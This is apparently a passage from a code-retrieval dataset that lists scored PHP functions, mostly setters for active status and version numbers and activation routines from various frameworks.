DeploymentManaged::ACTIVE;\n $this->databaseHandle->exec(\"UPDATE deployment SET status = ? WHERE deployment_id = ?\", \"ii\", $active, $id);\n }", "title": "" }, { "docid": "ab4cc9775aa674c801b9365e57c88ebe", "score": "0.5123034", "text": "public function setActive($active)\n\t{\n\t\t$this->active = $active;\n\t}", "title": "" }, { "docid": "9a7bad9d2504f2072aebde1be7a6ffc1", "score": "0.5118273", "text": "public function setActivating()\n {\n $this->update(['status' => static::STATUS_ACTIVATING]);\n }", "title": "" }, { "docid": "918bdd1c5850db0bbd1c5dbfabb31c10", "score": "0.5106815", "text": "public function setActive()\n {\n $this->status = self::STATUS_ACTIVE;\n $this->started_at = \\Carbon\\Carbon::now();\n $this->save();\n }", "title": "" }, { "docid": "472c03e109d19e79f040c24c78df1f3a", "score": "0.50736123", "text": "public function setUpgradeAvailable(?bool $value): void {\n $this->getBackingStore()->set('upgradeAvailable', $value);\n }", "title": "" }, { "docid": "f641b1b9ec1180c715c3314837d28267", "score": "0.5065888", "text": "public function activate()\n\t{\n\t\t$this->active = true;\n\t\t$this->save();\n\t}", "title": "" }, { "docid": "7f116fccf397fb63f7edd19c1d7cb26f", "score": "0.5060377", "text": "public function setActive($active)\n {\n $this->active = $active;\n }", "title": "" }, { "docid": "7f116fccf397fb63f7edd19c1d7cb26f", "score": "0.5060377", "text": "public function setActive($active)\n {\n $this->active = $active;\n }", "title": "" }, { "docid": "7f116fccf397fb63f7edd19c1d7cb26f", "score": "0.5060377", "text": "public function setActive($active)\n {\n $this->active = $active;\n }", "title": "" }, { "docid": "1a56f44a50a38592d01779d64136f5b3", "score": "0.5057284", "text": "public function setProductVersion(?string $value): void {\n $this->getBackingStore()->set('productVersion', $value);\n }", "title": "" }, { "docid": "2a5800d38a72ac037d1c4df3167fe1ed", "score": "0.5045313", "text": "public function setActive()\n {\n $this->isActive = true;\n $this->save();\n return true;\n }", "title": "" }, { "docid": "b36e42968cafcc97fdcaf8e7c5fcf0de", "score": "0.50361365", "text": "function setVersion($version);", "title": "" }, { "docid": "2831fbccf04d6e8f99d3a91d1054457b", "score": "0.50146484", "text": "public function activate()\n {\n $this->setActive(true);\n $this->save();\n }", "title": "" }, { "docid": "8bbb452f54f67e7e494a7ac8da1351dd", "score": "0.5011747", "text": "public function setVersion($var) {}", "title": "" }, { "docid": "2bbf3d6f2ec5f2d3eb0e2a82c1cd7b50", "score": "0.5008438", "text": "public function setActive($active = TRUE);", "title": "" }, { "docid": "7d73b6cab7902d752ea89dc9f1131d19", "score": "0.4985256", "text": "public function setActive()\n\t{\n\t\t$_SESSION['player']['active'] = get_class($this);\n\t}", "title": "" }, { "docid": "57f89f75706110f1bc160531abc98fd2", "score": "0.4972756", "text": "function setActive($value){\r\n $this->setColumnValue('active', $value);\r\n }", "title": "" }, { "docid": "7a3e153721316669f1aed34c38a586c4", "score": "0.49677438", "text": "public function setIsLatestUsedVersion($val)\n {\n $this->_propDict[\"isLatestUsedVersion\"] = boolval($val);\n return $this;\n }", "title": "" }, { "docid": "620685251b546658bb2fb70e3ab25b3c", "score": "0.49630335", "text": "public function setVersionActive($mixID, $mixVersion)\n\t{\n\t\t$this->objDatabase\n\t\t\t\t->prepare('UPDATE tl_version SET active=\\'\\' WHERE pid = ? AND fromTable = ?')\n\t\t\t\t->execute($mixID, $this->strSource);\n\n\t\t$this->objDatabase\n\t\t\t\t->prepare('UPDATE tl_version SET active = 1 WHERE pid = ? AND version = ? AND fromTable = ?')\n\t\t\t\t->execute($mixID, $mixVersion, $this->strSource);\n\t}", "title": "" }, { "docid": "c901a0c9bb0082ad594fcd782b6e64ed", "score": "0.49600077", "text": "public function setActive($active);", "title": "" }, { "docid": "c901a0c9bb0082ad594fcd782b6e64ed", "score": "0.49600077", "text": "public function setActive($active);", "title": "" }, { "docid": "c901a0c9bb0082ad594fcd782b6e64ed", "score": "0.49600077", "text": "public function setActive($active);", "title": "" }, { "docid": "455797a298752073e8b9b3362ce576e3", "score": "0.49558324", "text": "public function setVersion(?string $value): void {\n $this->getBackingStore()->set('version', $value);\n }", "title": "" }, { "docid": "455797a298752073e8b9b3362ce576e3", "score": "0.49558324", "text": "public function setVersion(?string $value): void {\n $this->getBackingStore()->set('version', $value);\n }", "title": "" }, { "docid": "455797a298752073e8b9b3362ce576e3", "score": "0.49558324", "text": "public function setVersion(?string $value): void {\n $this->getBackingStore()->set('version', $value);\n }", "title": "" }, { "docid": "647e504ca96cf721c0b9f66cb2985fec", "score": "0.49443468", "text": "protected function setMajor(): void\n {\n $splitVersion = explode('.', preg_replace('/[^\\d\\.]/', '', $this->version));\n $this->major = $splitVersion[0];\n }", "title": "" }, { "docid": "8910e2eebfd1e0a8ffa27766379fadd6", "score": "0.49291635", "text": "public function activate()\n {\n $premium = $this->premium;\n $date = $premium->range;\n $premium->update(['range' => 0, 'limit' => gmdate(\"Y-m-d\", strtotime(\"+$date days\")), 'status_id' => Status::where('status', 'active')->first()->id]);\n }", "title": "" }, { "docid": "d062c6e76ae4f8af6497d5e88c7ebdae", "score": "0.4926365", "text": "public function setActive();", "title": "" }, { "docid": "44a2b75fa71650175a265ef1bd7ce074", "score": "0.4922833", "text": "public function & SetActive ($active);", "title": "" }, { "docid": "17e8ca09925c3cac9a787813dd2d0665", "score": "0.49111748", "text": "public function setAppVersion(?string $value): void {\n $this->getBackingStore()->set('appVersion', $value);\n }", "title": "" }, { "docid": "928ca74ce599e2ddff327c020ed67f3b", "score": "0.49060065", "text": "final public function setActive($active = 1) {\n\t\tDB::getInstance()->update('plugin', $this->id(), 'active', $active);\n\t\t$this->active = $active;\n\n\t\tPluginFactory::clearCache();\n\t}", "title": "" }, { "docid": "2ea6a3afaa36acdb95293b60065453d6", "score": "0.4899346", "text": "private function SetVersion($version){\n\t\t$this->version = $version;\n\t}", "title": "" }, { "docid": "ae4a726bd4df8a50204d0fc06abf426d", "score": "0.48951796", "text": "public function setVersionSent();", "title": "" }, { "docid": "4e8411b04404e0bd602544ef9247e1cb", "score": "0.48925593", "text": "public function setBoardSupportPackageVersion(?string $value): void {\n $this->getBackingStore()->set('boardSupportPackageVersion', $value);\n }", "title": "" }, { "docid": "be9e7b4e9ec794c29b93934165ed63fe", "score": "0.48788205", "text": "public function activate_extension()\n\t{\n\t\t// Setup custom settings in this array.\n\t\t$this->settings = array();\n\n\t\t$data = array(\n\t\t\t'class'\t\t=> __CLASS__,\n\t\t\t'method'\t=> 'dummy',\n\t\t\t'hook'\t\t=> 'entry_submission_absolute_end',\n\t\t\t'settings'\t=> serialize($this->settings),\n\t\t\t'version'\t=> $this->version,\n\t\t\t'enabled'\t=> 'y'\n\t\t);\n\n\t\t$this->EE->db->insert('extensions', $data);\n\t}", "title": "" }, { "docid": "36acab42dd24abe12728cd6b355f376b", "score": "0.48682627", "text": "public function setcurrentrevisionTask()\n\t{\n\t\t// Check if they are logged in\n\t\tif (User::isGuest())\n\t\t{\n\t\t\t$url = Request::getString('REQUEST_URI', '', 'server');\n\t\t\tApp::redirect(\n\t\t\t\tRoute::url('index.php?option=com_users&view=login&return=' . base64_encode($url), false)\n\t\t\t);\n\t\t}\n\n\t\t// Incoming\n\t\t$newversion_id = trim(Request::getString('version_id', ''));\n\t\t$newversion = Version::oneOrFail($newversion_id);\n\t\tif ($this->page->get('id') != $newversion->get('page_id'))\n\t\t{\n\t\t\t$this->setError(Lang::txt('COM_WIKI_ERROR_PAGE_NOT_FOUND'));\n\t\t\treturn $this->displayTask();\n\n\t\t}\n\n\t\t$this->page->set('version_id', $newversion_id);\n\n\t\tif (!$this->page->save())\n\t\t{\n\t\t\t$this->setError($this->page->getError());\n\t\t\treturn $this->displayTask();\n\t\t}\n\t\t$this->page->log('page_version_changed');\n\n\t\tEvent::trigger('wiki.onWikiAfterSave', array(&$this->page, false));\n\n\t\t// Log activity\n\t\t$recipients = array(\n\t\t\t['wiki.site', 1],\n\t\t\t['user', $this->page->get('created_by')],\n\t\t\t['user', $this->page->version->get('created_by')],\n\t\t\t['user', $newversion->get('created_by')]\n\t\t);\n\t\tif ($this->page->get('scope') != 'site')\n\t\t{\n\t\t\t$recipients[] = [$this->page->get('scope'), $this->page->get('scope_id')];\n\t\t\t$recipients[0] = ['wiki.' . $this->page->get('scope'), $this->page->get('scope_id')];\n\t\t}\n\n\t\tEvent::trigger('system.logActivity', [\n\t\t\t'activity' => [\n\t\t\t\t'action' => ($this->page['id'] ? 'updated' : 'created'),\n\t\t\t\t'scope' => 'wiki.page',\n\t\t\t\t'scope_id' => $this->page->get('id'),\n\t\t\t\t'description' => Lang::txt('COM_WIKI_ACTIVITY_PAGE_UPDATED', '<a href=\"' . Route::url($this->page->link()) . '\">' . $this->page->title . '</a>'),\n\t\t\t\t'details' => array(\n\t\t\t\t\t'title' => $this->page->title,\n\t\t\t\t\t'url' => Route::url($this->page->link()),\n\t\t\t\t\t'name' => $this->page->get('pagename'),\n\t\t\t\t\t'oldrevision' => $this->page->version->get('id'),\n\t\t\t\t\t'newrevision' => $this->page->get('version_id')\n\t\t\t\t)\n\t\t\t],\n\t\t\t'recipients' => $recipients\n\t\t]);\n\t\tApp::redirect($this->page->link('history'));\n\t}", "title": "" }, { "docid": "8d63eb6afa642933837b30df025b1ef8", "score": "0.48642638", "text": "function getVersionField() {\n\t\ttrigger_error('Versionable is not implemented in driver formDB');\n\t}", "title": "" }, { "docid": "d4e4750c5b957418378319a1f17230de", "score": "0.48636252", "text": "public function setActive()\n {\n return $this->event->update([\n 'started_at' => $this->event->started_at ?? now(),\n 'active_quiz_id' => $this->id,\n ]) && $this->update(['opened_at' => now()]);\n }", "title": "" }, { "docid": "a09e92cd953f0ff4e9a0130021b29759", "score": "0.48490754", "text": "public function setGrading(?EducationAssignmentGradeType $value): void {\n $this->getBackingStore()->set('grading', $value);\n }", "title": "" }, { "docid": "a81d8e05fc311e9d72d1f1f4222a0559", "score": "0.48303166", "text": "public function setVersion($version);", "title": "" }, { "docid": "a81d8e05fc311e9d72d1f1f4222a0559", "score": "0.48303166", "text": "public function setVersion($version);", "title": "" }, { "docid": "ab96b47dd2acdd0538817dec340e2dab", "score": "0.48037094", "text": "public function makeThisTheOnlineVersion() {\n tx_pttools_assert::isTrue($this->isVersionable(), array('message' => 'Versioning is not enabled for this class'));\n tx_pttools_assert::isFalse($this->isOnlineVersion(), array('message' => 'This is already the online version'));\n\n if ($this->notStoredChanges) {\n \tthrow new tx_pttools_exception('There are unstored changed in this object. You cannot reload this object! Those changes would get lost.');\n }\n\n $tce = t3lib_div::makeInstance('t3lib_TCEmain'); /* @var $tce t3lib_TCEmain */\n\t\t$tce->stripslashes_values = 0;\n\t\t$tce->start(array(), array(), tx_tcaobjects_div::createFakeBeUser());\n $tce->bypassAccessCheckForRecords = 1;\n\n\t\t$oid = $this->getOid();\n\t\t$currentUid = $this->__get('uid');\n\t\t\n\t\t$tce->version_swap($this->getTable(), $oid, $currentUid);\n\n\t\t// reset versions and values\n\t\t$this->versions = NULL;\n\t\t$this->_values = array();\n\t\t\n\t\t// reload self\n\t\t$this->loadSelf($oid);\n }", "title": "" }, { "docid": "89c3abc7bfecb26a194c0f0449ee2a9a", "score": "0.47865605", "text": "private function changeVersion(): void\n {\n if (!$this->versionAlreadyChanged) {\n $this->version = Uuid::uuid4()->toString();\n $this->versionAlreadyChanged = true;\n }\n }", "title": "" }, { "docid": "af66cab90e1688cf110af985f1c7ff80", "score": "0.4780694", "text": "protected function setCmsVersion() {\n\t\t$this->cms_version = Mage::getVersion();\n\t}", "title": "" }, { "docid": "e3b6b31ac508e3ad7e2da4f0e41a5ff4", "score": "0.47498736", "text": "public function setIsMostUsedVersion(?bool $value): void {\n $this->getBackingStore()->set('isMostUsedVersion', $value);\n }", "title": "" }, { "docid": "f66b6e40127b46434f8b338aadfecb51", "score": "0.47395608", "text": "public function saveUpdatedVersion()\n {\n $updated = false;\n\n if ($this->updatedToVersion->major > $this->version->major)\n $updated = true;\n else if ($this->updatedToVersion->major == $this->version->major && $this->updatedToVersion->minor > $this->version->minor)\n $updated = true;\n else if ($this->updatedToVersion->major == $this->version->major && $this->updatedToVersion->minor == $this->version->minor\n && $this->updatedToVersion->point > $this->version->point)\n $updated = true;\n\n $newversion = $this->updatedToVersion->major.\".\".$this->updatedToVersion->minor.\".\".$this->updatedToVersion->point;\n\n if ($updated)\n {\n $settings = $this->account->getServiceManager()->get(\"Netric/Settings/Settings\");\n $settings->set(\"system/schema_version\", $newversion);\n }\n }", "title": "" }, { "docid": "b76a680632b23cea9bdda45ac074b3d4", "score": "0.4734843", "text": "public function setActiveState($active);", "title": "" }, { "docid": "c48041f6faab9a8a80b09f513d0b5a4f", "score": "0.47269616", "text": "protected function versionablePostSave()\n {\n /**\n * We'll save new versions on updating and first creation.\n */\n if (\n ( $this->versioningEnabled === true && $this->updating && $this->isValidForVersioning() ) ||\n ( $this->versioningEnabled === true && !$this->updating && !is_null($this->versionableDirtyData) && count($this->versionableDirtyData))\n ) {\n // Save a new version\n $class = $this->getVersionClass();\n $version = new $class();\n $version->versionable_id = $this->getKey();\n $version->versionable_type = method_exists($this, 'getMorphClass') ? $this->getMorphClass() : get_class($this);\n $version->user_id = $this->getAuthUserId();\n \n $versionedHiddenFields = $this->versionedHiddenFields ?? [];\n $this->makeVisible($versionedHiddenFields);\n $version->model_data = serialize($this->attributesToArray());\n $this->makeHidden($versionedHiddenFields);\n\n if (!empty( $this->reason )) {\n $version->reason = $this->reason;\n }\n\n $version->save();\n\n $this->purgeOldVersions();\n }\n }", "title": "" }, { "docid": "8ca82916edf3382514d2b06492e05521", "score": "0.4724337", "text": "static public function set($version)\n {\n self::$version = $version;\n }", "title": "" }, { "docid": "9885c20b70e93c1d34c61c4b91b03cff", "score": "0.47210577", "text": "public function activar()\n {\n $this->estatus = 1;\n $this->save();\n }", "title": "" }, { "docid": "67fd002544a327881545adfcd23e4120", "score": "0.47121716", "text": "public function setTrainingAssignment(?BaseEndUserNotification $value): void {\n $this->getBackingStore()->set('trainingAssignment', $value);\n }", "title": "" }, { "docid": "d88af8686bff743951a2bb54bd1bcb6f", "score": "0.47115922", "text": "public static function set_version($name, $version)\n\t{\n\t\t$module = Module::get($name);\n\n\t\tif ( ! $module->loaded())\n\t\t{\n\t\t\t$module->name = $name;\n\t\t\t// Only gleez or user is active by default\n\t\t\t$module->active = ($name == 'gleez' OR $name == 'user');\n\t\t}\n\n\t\t$module->version = $version;\n\t\t$module->save();\n\n\t\tKohana::$log->add(LOG::DEBUG, ':name : version is now :version', array(\n\t\t\t':name' => $name, ':version' => $version)\n\t\t);\n\t}", "title": "" }, { "docid": "0556ab389b563cdab7c27c6c1ffe4ef4", "score": "0.46984547", "text": "function Submission_Assessors_Update(&$submission)\n {\n $key=$submission[ \"ID\" ].\"_Status\";\n $newvalue=$this->CGI_POSTint($key);\n\n if ($submission[ \"Status\" ]!=$newvalue)\n {\n $submission[ \"Status\" ]=$newvalue;\n $this->Sql_Update_Item_Values_Set(array(\"Status\"),$submission);\n }\n\n $assessor=$this->CGI_POSTint(\"Assessor_\".$submission[ \"ID\" ]);\n if ($assessor>0)\n {\n $where=$this->UnitEventWhere\n (\n array\n (\n \"Submission\" => $submission[ \"ID\" ],\n \"Friend\" => $assessor,\n )\n );\n \n $nitems=$this->AssessorsObj()->Sql_Select_NHashes($where);\n if ($nitems==0)\n {\n $assessor=$where;\n $this->AssessorsObj()->Sql_Insert_Item($assessor);\n }\n }\n }", "title": "" }, { "docid": "723437652b7c4db8e22d4695c412f341", "score": "0.469507", "text": "public function setActive(bool $active = true);", "title": "" }, { "docid": "93bb3437a8bec68cd5a57fb9f26f7128", "score": "0.4691752", "text": "public function createInitialVersion()\n {\n if( true === $this->fresh()->versions->isEmpty() &&\n true === $this->versioningEnabled \n ) {\n\n $class = $this->getVersionClass();\n $version = new $class();\n $version->versionable_id = $this->getKey();\n $version->versionable_type = method_exists($this, 'getMorphClass') ? $this->getMorphClass() : get_class($this);\n $version->user_id = $this->getAuthUserId();\n \n $versionedHiddenFields = $this->versionedHiddenFields ?? [];\n $this->makeVisible($versionedHiddenFields);\n $version->model_data = serialize($this->attributesToArray());\n $this->makeHidden($versionedHiddenFields);\n\n if (!empty( $this->reason )) {\n $version->reason = $this->reason;\n }\n\n $version->save();\n }\n }", "title": "" }, { "docid": "f8ebba4c75a5eb502c21fb256f615b59", "score": "0.46831983", "text": "function update_extension($current='')\n\t{\n\t\tglobal $DB;\n\n\t\tif ($current == '' OR $current == $this->version)\n\t\t\treturn FALSE;\n\n\t\t// update the version\n\t\t$DB->query(\"UPDATE exp_extensions SET version = '\" . $DB->escape_str($this->version) . \"' WHERE class = '\" . get_class($this) . \"'\");\n\t}", "title": "" }, { "docid": "b040a54375dd7115b01924cfd06a6a13", "score": "0.46827984", "text": "public function setActive ($value) {\r\n if ($value != $this->_active) {\r\n if ($value)\r\n $this->open();\r\n else\r\n $this->close();\r\n }\r\n }", "title": "" }, { "docid": "458a195f2f250111dcb13b35ee7169a0", "score": "0.46767908", "text": "public function changeExtensionVersionAction($extKey = NULL) {\t\n $arguments = $this->request->getArguments();\n $extKey = $arguments['extensionKey'];\n $version = $arguments['extensionVersion'];\n\n $configurationManager = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance('SAV\\\\SavLibraryKickstarter\\\\Configuration\\\\ConfigurationManager', $extKey);\n $configurationManager->loadConfiguration($version);\n\t\t// Saves the working configuration\t\t\n $configurationManager->saveConfigurationVersion();\t\n $section = $configurationManager->getSectionManager()->getItem('general')->getItem(1)->getItem('section');\n if (!empty($section)) {\n $itemKey = $configurationManager->getSectionManager()->getItem('general')->getItem(1)->getItem('itemKey');\n } else {\n $section = 'emconf';\n $itemKey = 1;\n }\n \n $this->redirect($section . 'EditSection', NULL, NULL, array('extKey' => $extKey, 'section' => $section, 'itemKey' => $itemKey)); \n\t}", "title": "" }, { "docid": "86d75c0700924bbb223c60179af3e6e2", "score": "0.46752173", "text": "public function update_qualification()\n {\n global $DB;\n\t\t$dataobj = new stdClass();\n\t\t$dataobj->id = $this->id;\n\t\t$dataobj->name = $this->name;\n $dataobj->additionalname = $this->additionalName;\n\t\t$dataobj->code = $this->code;\n $dataobj->noyears = $this->noYears;\n\t\t$dataobj->credits = 0;\n\t\t$DB->update_record(\"block_bcgt_qualification\", $dataobj);\n logAction(LOG_MODULE_GRADETRACKER, LOG_ELEMENT_GRADETRACKER_QUALIFICATION, LOG_VALUE_GRADETRACKER_UPDATED_QUAL, null, $this->id, null, null, null);\n \n\t\t//lets updae the unit information\n// $this->get_unit_details(true);\n// $this->update_units();\n// if($useFAs = get_config('bcgt', 'usefa') && \n// !$manageCentrally = get_config('bcgt', 'alevelManageFACentrally'))\n// {\n// $this->get_assessment_details(true);\n// $this->update_assessments();\n// }\n $qualWeighting = new QualWeighting();\n $familyWeighted = $qualWeighting->is_family_using_weigtings(str_replace(' ','',AlevelQualification::NAME)); \n $useWeightings = get_config('bcgt', 'allowalpsweighting');\n if($useWeightings && $familyWeighted)\n {\n $this->get_weighting_details(true);\n $this->update_weightings();\n }\n \n }", "title": "" }, { "docid": "ebd25fd99d71f76f379e9d0b5c1db7ae", "score": "0.46706682", "text": "public function activate(){\n // Activate the plugin\n $this->active = true;\n\n $model = new PluginModel(array(\n 'name' => $this->name,\n 'active' => 1\n ));\n $model->update();\n\n try{\n $this->getInstallerInstance()->activate();\n App::logger()->notice('The plugin ' . $this->name . ' has been activated');\n }\n catch(\\Exception $e){\n $this->active = false;\n\n $model->active = 0;\n $model->update();\n\n App::logger()->error('En error occured while activating plugin ' . $this->name . ' : ' . $e->getMessage());\n throw $e;\n }\n }", "title": "" }, { "docid": "0f0c20298669a98be52b73c00ae639a1", "score": "0.46694505", "text": "public function setSubmissionFile($filename) {\r\n\t\t$this->submissionFile = $filename;\r\n\t}", "title": "" }, { "docid": "5dd8b762559b94c462db43d61c617f9b", "score": "0.46676525", "text": "public function setAcceptedVersion($val)\n {\n $this->_propDict[\"acceptedVersion\"] = intval($val);\n return $this;\n }", "title": "" }, { "docid": "eca372269654625363bf6de4378bc704", "score": "0.46667606", "text": "public function massCurriculumRevisionAction()\n {\n $curriculumIds = (array)$this->getRequest()->getParam('curriculum');\n $storeId = (int)$this->getRequest()->getParam('store', 0);\n $flag = (int)$this->getRequest()->getParam('flag_c_revision');\n if ($flag == 2) {\n $flag = 0;\n }\n try {\n foreach ($curriculumIds as $curriculumId) {\n $curriculum = Mage::getSingleton('bs_traininglist/curriculum')\n ->setStoreId($storeId)\n ->load($curriculumId);\n $curriculum->setCurriculumRevision($flag)->save();\n }\n $this->_getSession()->addSuccess(\n Mage::helper('bs_traininglist')->__('Total of %d record(s) have been updated.', count($curriculumIds))\n );\n } catch (Mage_Core_Model_Exception $e) {\n $this->_getSession()->addError($e->getMessage());\n } catch (Mage_Core_Exception $e) {\n $this->_getSession()->addError($e->getMessage());\n } catch (Exception $e) {\n $this->_getSession()->addException(\n $e,\n Mage::helper('bs_traininglist')->__('An error occurred while updating the training curriculum.')\n );\n }\n $this->_redirect('*/*/', array('store' => $storeId));\n }", "title": "" }, { "docid": "4155c94f796f5ede943304b3a18dbba4", "score": "0.466394", "text": "public function set_version( string $version ): bool {\n\t\treturn (bool) gp_update_meta( $this->project->id, static::VERSION_KEY, $version, 'project' );\n\t}", "title": "" }, { "docid": "d6b7c162cc5bccd836718f1e31102ba2", "score": "0.4654947", "text": "public function setVersion($version)\n\t{\n\t\t$this->version = $version;\n\t}", "title": "" }, { "docid": "d6b7c162cc5bccd836718f1e31102ba2", "score": "0.4654947", "text": "public function setVersion($version)\n\t{\n\t\t$this->version = $version;\n\t}", "title": "" }, { "docid": "a82dd203c25dece0812834d3348193df", "score": "0.46494925", "text": "public function activate()\n {\n $this->{$this->getActiveColumn()} = 1;\n }", "title": "" }, { "docid": "00f8c36b90d7070b0b6bf6eb6ad538d7", "score": "0.46494162", "text": "public function setActive($value)\n\t{\n\t\tif($value!=$this->_active)\n\t\t{\n\t\t\tif($value)\n\t\t\t\t$this->open();\n\t\t\telse\n\t\t\t\t$this->close();\n\t\t}\n\t}", "title": "" }, { "docid": "00f8c36b90d7070b0b6bf6eb6ad538d7", "score": "0.46494162", "text": "public function setActive($value)\n\t{\n\t\tif($value!=$this->_active)\n\t\t{\n\t\t\tif($value)\n\t\t\t\t$this->open();\n\t\t\telse\n\t\t\t\t$this->close();\n\t\t}\n\t}", "title": "" }, { "docid": "1f48490847cd7fa093814b7520cd6a54", "score": "0.46469942", "text": "public function setAssignTo(?EducationAssignmentRecipient $value): void {\n $this->getBackingStore()->set('assignTo', $value);\n }", "title": "" }, { "docid": "ffc5c36b7863165b3a6524e4d78d63bc", "score": "0.464403", "text": "public function getActiveVersion($mixID) { }", "title": "" }, { "docid": "291641c961b71c6b2058fdc4eadff8e3", "score": "0.46440122", "text": "function setActive($value) {\n\t\treturn $this->setColumnValue('active', $value, BaseModel::COLUMN_TYPE_TINYINT);\n\t}", "title": "" }, { "docid": "b49f53ae916538c2d274da20444a1d83", "score": "0.46413323", "text": "public function activate()\r\n\t{\r\n\t\t$this->active = true;\r\n\t}", "title": "" }, { "docid": "8cdbfc5ba0f63f11e8a9735fd3ea3e9e", "score": "0.46384588", "text": "function setCurrent() {\n\t\t$this->IsCurrent = true;\n\t\t$this->initialize();\n\n\t}", "title": "" }, { "docid": "e4c3d71534ac4e71ffd0e7bc558b2316", "score": "0.46339846", "text": "public function activate() {\n\t\t$this->status = self::STATUS_ACTIVE;\n\t\treturn $this->update();\n\t}", "title": "" }, { "docid": "c3bd52487edd426981058ccb4ef0a2f8", "score": "0.46203685", "text": "private function activate() {\n\t\t// Init to use the common filters.\n\t\tnew \\RankMath\\Defaults();\n\n\t\t$current_version = get_option( 'rank_math_version', null );\n\t\t$current_db_version = get_option( 'rank_math_db_version', null );\n\n\t\t$this->create_options();\n\t\t$this->set_capabilities();\n\t\t$this->create_cron_jobs();\n\n\t\tif ( is_null( $current_version ) && is_null( $current_db_version ) ) {\n\t\t\tset_transient( '_rank_math_activation_redirect', 1, 30 );\n\t\t}\n\n\t\t// Update to latest version.\n\t\tupdate_option( 'rank_math_version', rank_math()->version );\n\t\tupdate_option( 'rank_math_db_version', rank_math()->db_version );\n\n\t\t// Clear rollback option if necessary.\n\t\tif ( rank_math()->version !== get_option( 'rank_math_rollback_version' ) ) {\n\t\t\tdelete_option( 'rank_math_rollback_version' );\n\t\t}\n\n\t\t// Save install date.\n\t\tif ( false === boolval( get_option( 'rank_math_install_date' ) ) ) {\n\t\t\tupdate_option( 'rank_math_install_date', current_time( 'timestamp' ) );\n\t\t}\n\n\t\t// Activate Watcher.\n\t\t$watcher = new Watcher();\n\t\t$watcher->check_activated_plugin();\n\n\t\t$this->clear_rewrite_rules( true );\n\t\tHelper::clear_cache();\n\n\t\t$this->do_action( 'activate' );\n\t}", "title": "" }, { "docid": "517bd9941e43bef2b4c8a08072be2411", "score": "0.46175653", "text": "public function setAssigneePriority(?string $value): void {\n $this->getBackingStore()->set('assigneePriority', $value);\n }", "title": "" }, { "docid": "cfc6b42e431703b77421f08b1e32b71a", "score": "0.46099263", "text": "public static function getStatusRequestFromActivate(Submission $submission){\n\t\t$submission = ObjectHelper::modelFromPost($submission);\n\t\t$appId = $submission->applicationId;\n\t\t\n\t\t$address = ActivateServiceHelper::ServiceAddress . \"Application/Status/\" . $submission->applicationId;\n\t\t\n\t\t$submission = ActivateServiceHelper::callActivate($address, null, \"GET\", $submission->applicationId);\n\n\t\t$submission->applicationId = $appId;\n\t\n\t\treturn $submission;\n\t}", "title": "" }, { "docid": "b8eed03ad1352ff3515d63a796698062", "score": "0.46027613", "text": "public function setVersioningEnabled($versioningEnabled);", "title": "" }, { "docid": "7dc22bf068f191cb9ba2a920bad9b848", "score": "0.46005866", "text": "abstract public function setLocalVersion(int $newLocalVersion);", "title": "" }, { "docid": "d72d7f9ff4b237d5201b13e1708e06ae", "score": "0.4600385", "text": "public function setActiveLow($activeLow);", "title": "" }, { "docid": "b0f07374907a51d330b3aaa0f3323652", "score": "0.45961055", "text": "public function setActiveUser()\n {\n if (Auth::check()) {\n // Set the active user in session\n if (!Session::has('activeUser')) {\n Session::put('activeUser', Auth::user());\n }\n $this->activeUser = Session::get('activeUser');\n $this->activeUser->updateLastActive();\n }\n\n View::share('activeUser', $this->activeUser);\n }", "title": "" }, { "docid": "71a2a352d331ca8df3d397cc063334a2", "score": "0.459488", "text": "public function selectVersion()\n {\n $version = str_replace(array(' ', '.'), array('', '_'), $this->config->installedVersion);\n $version = strtolower($version);\n\n $this->view->title = $this->lang->upgrade->common . $this->lang->colon . $this->lang->upgrade->selectVersion;\n $this->view->version = $version;\n $this->display();\n }", "title": "" }, { "docid": "727be1df2d58621415d57141754c6891", "score": "0.45895454", "text": "public function updateLastActive()\n\t{\n\t\t$this->lastActive = date('Y-m-d H:i:s');\n\t\t$this->save();\n\t}", "title": "" }, { "docid": "9ea618ac01c2dc3c15d3fe3d8f7202f4", "score": "0.45879486", "text": "public function setCurrentVersion(string $currentVersion): AutoUpdate\n {\n $this->currentVersion = $currentVersion;\n\n return $this;\n }", "title": "" }, { "docid": "6fea3f0039daaf34ff81fb5328877a70", "score": "0.4585743", "text": "public function setActive($blActive)\n {\n $this->blActive = $blActive;\n }", "title": "" }, { "docid": "f4ac8eea8a65d38da985586d95883c03", "score": "0.458339", "text": "public function bump()\n\t{\n\t\t(new \\Joomla\\Jorobo\\Tasks\\BumpVersion())->run();\n\t}", "title": "" }, { "docid": "e09b0e2dadb06ecbe1f6dc40d0c2c333", "score": "0.4583065", "text": "public function _log_version_number() {\n update_option( $this->_token . '_version', $this->_version );\n }", "title": "" } ]
4445f4b1079d7fee5a77a11e9e6d15f9
end function Assigns a structure to the parsed url so that it can be called by name vs node this can only be called for restful urls
[ { "docid": "7ad6576bcc086ed80a9e1b866741f5fb", "score": "0.0", "text": "public function defineStructure( array $structure ) : self\n {\n\t $count = count( $structure);\n //add additional index so that params can be accessed by index and name\n for( $i = 0; $i < $count; $i++ ){\n $this->nodes[ $structure[$i] ] = $this->nodes[$i];\n }\n\n return $this;\n\t\t\n }", "title": "" } ]
[ { "docid": "eedbc6b6039af60b28ed6a4f6b0c4bb0", "score": "0.6724914", "text": "private function url()\n {\n $url = new Url($this->arg);\n $this->response = $url->response;\n }", "title": "" }, { "docid": "7fc9e3a8235cb59fbb8d7600f8f90d49", "score": "0.66872513", "text": "protected function parseUrl() {\n\t\t\tparent::parseUrl();\n\t\t\t$objUrl = AppRegistry::get('Url');\n\t\t\t\n\t\t\tAppConfig::set('Overlay', !empty($_GET['overlay']));\n\t\t\tAppConfig::set('Insert', !empty($_GET['insert']));\n\t\t\t\n\t\t\tAppConfig::set('ApiCall', $blnApiCall = $objUrl->getSegment(0) == 'api');\n\t\t\tAppConfig::set('Callback', $blnCallback = $objUrl->getSegment(0) == 'callback'); \n\t\t\t\n\t\t\tAppConfig::set('TokenIgnore', $blnCallback || $blnApiCall);\n\t\t}", "title": "" }, { "docid": "582a6c3ee283329ca0271cb57d0cdada", "score": "0.655062", "text": "protected function parseUrl()\n {\n $pathinfo = $this->routing->parse($this->request->getPathInfo());\n\n if(isset($pathinfo['_sf_route']))\n {\n unset($pathinfo['_sf_route']);\n }\n\n $this->current_module = $pathinfo['module'];\n unset($pathinfo['module']);\n\n $this->current_action = $pathinfo['action'];\n unset($pathinfo['action']);\n\n $this->pathinfo = $pathinfo;\n }", "title": "" }, { "docid": "69e06f4c61440f93b710254b024bc2c7", "score": "0.63947076", "text": "private function parseURL(){\n\t\t$route = explode('/', $this->url);\n\t\t$root = 